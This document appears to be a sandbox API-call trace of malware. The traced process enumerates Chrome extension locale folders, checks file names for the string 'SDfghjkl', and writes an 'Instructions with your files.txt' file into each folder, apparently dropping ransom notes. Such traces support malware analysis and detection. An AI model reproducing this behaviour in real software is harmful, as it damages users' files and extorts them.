[0129.505] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841566a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.505] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 156
[0129.505] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.505] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841566a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.505] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\Instructions with your files.txt") returned 175
[0129.505] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.505] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.506] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.506] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.507] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.507] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.507] CloseHandle (hObject=0x134) returned 1
[0129.507] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.507] GetProcessHeap () returned 0x810000
[0129.507] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.507] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8415dbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
[0129.507] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr") returned 141
[0129.507] GetProcessHeap () returned 0x810000
[0129.507] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.507] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*") returned 143
[0129.507] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8415dbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.507] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\.") returned 143
[0129.507] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8415b4c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8415dbd0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.507] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\..") returned 144
[0129.507] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8415dbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.508] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json") returned 155
[0129.508] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.508] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8415dbd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8415dbd0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.508] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\Instructions with your files.txt") returned 174
[0129.508] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.508] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.509] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.509] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.509] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.509] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.509] CloseHandle (hObject=0x134) returned 1
[0129.509] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.510] GetProcessHeap () returned 0x810000
[0129.510] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.510] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84165100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
[0129.510] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he") returned 141
[0129.510] GetProcessHeap () returned 0x810000
[0129.510] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.510] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*") returned 143
[0129.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84165100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.511] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\.") returned 143
[0129.511] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841629f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84165100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.511] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\..") returned 144
[0129.511] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84165100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.511] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 155
[0129.511] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.511] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84165100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84165100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xee, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.511] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\Instructions with your files.txt") returned 174
[0129.511] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.511] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.512] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.512] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.512] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.513] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.513] CloseHandle (hObject=0x134) returned 1
[0129.513] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.513] GetProcessHeap () returned 0x810000
[0129.513] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.513] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8416c630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
[0129.513] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi") returned 141
[0129.513] GetProcessHeap () returned 0x810000
[0129.513] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.513] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*") returned 143
[0129.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8416c630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.513] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\.") returned 143
[0129.513] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84169f20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8416c630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.513] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\..") returned 144
[0129.513] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8416c630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.513] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json") returned 155
[0129.513] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.513] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8416c630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8416c630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.513] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\Instructions with your files.txt") returned 174
[0129.514] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.514] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.515] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.515] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.515] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.515] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.515] CloseHandle (hObject=0x134) returned 1
[0129.515] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.515] GetProcessHeap () returned 0x810000
[0129.515] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
